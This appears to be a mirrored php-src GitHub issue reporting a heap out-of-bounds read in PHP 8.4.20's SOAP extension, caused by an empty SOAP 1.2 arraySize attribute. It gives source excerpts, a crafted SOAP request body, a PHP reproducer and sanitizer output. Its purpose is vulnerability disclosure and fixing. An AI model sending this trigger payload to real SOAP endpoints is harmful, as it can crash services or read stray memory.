php / php/php-src

ext/soap: heap out-of-bounds read while decoding a SOAP 1.2 array with an empty `arraySize`

Ouverte
#22,887 0 commentaires 1 réaction 1 personne assignée Voir sur GitHub

@devnexen y travaille déjà.

Depuis le 25/7/2026.

  • #22888 par @devnexen — ouverte
Bug Extension: soap Status: Verified
Langage dominant
C
Étoiles
40.4k
Forks
8.1k
Merge moyen
2 j 13 h
PR mergées (30 j)
96

Description

Summary

PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
enc:arraySize attribute while decoding an encoded array. An empty value makes
the dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads pos[0] for the first array item.

AddressSanitizer reports a four-byte heap out-of-bounds read in
to_zval_array(). The malformed value is protocol data in a SOAP request or
reply.

Details
  • Affected component: bundled ext/soap in PHP 8.4.20
  • Affected entry points: SoapServer::handle() decoding a SOAP 1.2
    request, and SoapClient decoding a SOAP 1.2 response
  • Affected source: https://github.com/php/php-src, PHP 8.4.20;
    ext/soap/php_encoding.c
  • Root cause: calc_dimension_12() accepts an empty arraySize as zero
    dimensions, but to_zval_array() subsequently indexes the corresponding
    zero-length pos allocation.
  • Trigger condition: a SOAP 1.2 encoded array has
    enc:arraySize="" and contains at least one XML element.

calc_dimension_12() counts runs of decimal digits or * characters. An
empty string enters neither loop and returns its initial value of zero:

/* ext/soap/php_encoding.c */
static int calc_dimension_12(const char *str)
{
    int i = 0, flag = 0;

    while (*str != '\0' && (*str < '0' || *str > '9') && (*str != '*')) {
        str++;
    }
    if (*str == '*') {
        i++;
        str++;
    }
    while (*str != '\0') {
        if (*str >= '0' && *str <= '9') {
            if (flag == 0) {
                i++;
                flag = 1;
            }
        } else if (*str == '*') {
            soap_error0(E_ERROR, "Encoding: '*' may only be first arraySize value in list");
        } else {
            flag = 0;
        }
        str++;
    }
    return i;
}

The SOAP 1.2 array path trusts that result. get_position_12() and the later
pos allocation both receive dimension == 0. The loop for intermediate
arrays is skipped, leaving i == 0, and the first child is inserted using
pos[i]:

/* ext/soap/php_encoding.c, to_zval_array() */
dimension = calc_dimension_12((char *) attr->children->content);
dims = get_position_12(dimension, (char *) attr->children->content);

/* ... */
pos = safe_emalloc(sizeof(int), dimension, 0);
memset(pos, 0, sizeof(int) * dimension);

/* ... first XML child ... */
i = 0;
ar = ret;
while (i < dimension - 1) {
    /* skipped when dimension is zero */
}
zend_hash_index_update(Z_ARRVAL_P(ar), pos[i], &tmpVal);

The public request path is a normal SOAP server receiving raw request XML:

<?php
function sink($value = null): void {}

$server = new SoapServer(null, ['uri' => 'urn:x', 'soap_version' => SOAP_1_2]);
$server->addFunction('sink');
$server->handle(); // Parses the HTTP request body supplied by the peer.

An untrusted peer needs only to send the following SOAP body to that endpoint:

<?xml version="1.0"?>
<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
 xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
 xmlns:m="urn:x">
  <SOAP-ENV:Body>
    <m:sink><x SOAP-ENC:arraySize=""><i>abc</i></x></m:sink>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The same native decoder is used when SoapClient processes a SOAP 1.2 reply
from a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.

PoC
Environment and configuration
  • PHP: PHP 8.4.20 CLI, NTS, DEBUG; built 2026-06-02
  • PHP source revision: PHP 8.4.20 source tree. The original build did not
    retain a git commit identifier.
  • PHP configure options:
PKG_CONFIG_PATH=/opt/openssl-3.2/lib64/pkgconfig \
./configure \
  --enable-soap --enable-mbstring --enable-debug --disable-cgi \
  --disable-phpdbg --enable-ftp --with-gmp --enable-intl --with-ldap \
  --with-xsl --with-zip --with-zlib --with-openssl=/opt/openssl-3.2 \
  --with-openssl-argon2 --enable-mysqlnd --with-mysqli=mysqlnd \
  --with-pdo-mysql=mysqlnd --with-unixODBC=/usr \
  --with-pdo-odbc=unixODBC,/usr --with-pdo-dblib --enable-pcntl \
  --enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm \
  --enable-sockets --enable-opcache --with-sodium --with-readline \
  --with-tidy --with-snmp --with-pgsql --with-pdo-pgsql \
  --with-pdo-firebird=/usr --enable-zend-test
  • PHP compiler/linker flags:
CFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
CXXFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
LDFLAGS=-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64
  • Extension: bundled ext/soap, enabled with --enable-soap; no separate
    PECL module is loaded.
  • Sanitizer runtime: USE_ZEND_ALLOC=0,
    ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, and
    UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1. The recorded invocation
    also set LD_LIBRARY_PATH=/opt/openssl-3.2/lib64.
Reproducer
<?php

function sink($value = null): void
{
}

function envelope(string $parameter): string
{
    return '<?xml version="1.0"?>'
        . '<SOAP-ENV:Envelope'
        . ' xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"'
        . ' xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"'
        . ' xmlns:m="urn:x">'
        . '<SOAP-ENV:Body><m:sink>' . $parameter . '</m:sink></SOAP-ENV:Body>'
        . '</SOAP-ENV:Envelope>';
}

$server = new SoapServer(null, [
    'uri' => 'urn:x',
    'soap_version' => SOAP_1_2,
]);
$server->addFunction('sink');

$server->handle(envelope('<x SOAP-ENC:arraySize=""><i>abc</i></x>'));
docker exec php-asan-8420 env \
  LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
  USE_ZEND_ALLOC=0 \
  ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
  UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
  /src/php/sapi/cli/php /tmp/soap-array-size-oob.php
Sanitizer report

The retained sanitizer evidence reports the following access for the empty
arraySize server trigger:

=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
    #0 to_zval_array /src/php/ext/soap/php_encoding.c:2695
    #1 master_to_zval_int /src/php/ext/soap/php_encoding.c:563
    #2 parse_packet_soap /src/php/ext/soap/php_packet_soap.c:350
...
0 bytes to the right of 1-byte region
allocated by safe_emalloc at to_zval_array:2650

The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.

PHP Version
PHP 8.4.20
Operating System

No response

Guide de contribution

Ouvrir le guide de contribution

Par où commencer

  1. Lisez l'issue en entier, puis le guide de contribution du projet.
  2. Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
  3. Forkez le dépôt et travaillez sur une branche.
  4. Ouvrez une pull request qui référence le numéro de l'issue.

Évaluation

Cette issue n'a pas encore été évaluée.

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.